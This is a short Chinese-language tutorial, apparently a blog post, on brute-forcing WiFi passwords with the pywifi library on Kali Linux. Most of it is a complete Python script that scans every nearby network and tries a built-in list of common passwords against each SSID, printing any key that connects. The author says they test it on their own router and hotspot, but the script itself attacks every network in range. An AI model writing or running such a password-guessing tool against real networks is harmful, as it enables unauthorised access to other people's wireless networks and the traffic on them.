准备工作:pywifi库,无线网卡,kali linux
使用python爆破wifi,需要安装第三方库pywifi。
下载地址https://pypi.org/project/pywifi/1.1.6/
下载完成后拷贝到linux中进行安装。我这里使用kali
pip install .
进行安装
开始写wifi.py脚本
#coding=utf-8
import time
import pywifi
from pywifi import const
passes=['1q2w3e4r','123456789','88888888','road123456','ydgj31601','12345678']
def brute_wifi():
wifi=pywifi.PyWiFi()#创建一个无线的对象
global iface
iface=wifi.interfaces()[0]#取第一个无线网卡
print '--------无线网卡:'+iface.name()+'--------'
iface.scan()#扫描
bessis=iface.scan_results()
for data in bessis:
print "开始爆破:"
print "ssid:%s,bssid:%s,signal:%s" % (data.ssid,data.bssid,data.signal)
for key in passes:
#print key
connect_wifi(data.ssid,key)
def connect_wifi(wifi_name,key):
profile=pywifi.Profile()#配置文件
profile.ssid=wifi_name#wifi名称
profile.auth=const.AUTH_ALG_OPEN#需要密码
profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密类型
profile.cipher=const.CIPHER_TYPE_CCMP#加密单元
profile.key = key#密码
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
#配置文件
iface.connect(tmp_profile)
time.sleep(10)
#尝试连接
if iface.status()==const.IFACE_CONNECTED:
print "\033[1;31;40m[+]密码为:\033[0m"+profile.key
#输出有颜色的字体
exit()
else:
print "[-]错误:"+profile.key
iface.disconnect()#断开连接
time.sleep(1)
if __name__ == '__main__':
brute_wifi()
看一下有格式的代码
将代码拷贝到/pywifi-master/tests下进行测试。
测试之前需要确定有没有无线网卡。(我使用的是360随身wifi)
然后准备两个wifi,一个家里的无线路由器,一个手机的热点。密码是已经准备好的。
ok,开始测试。。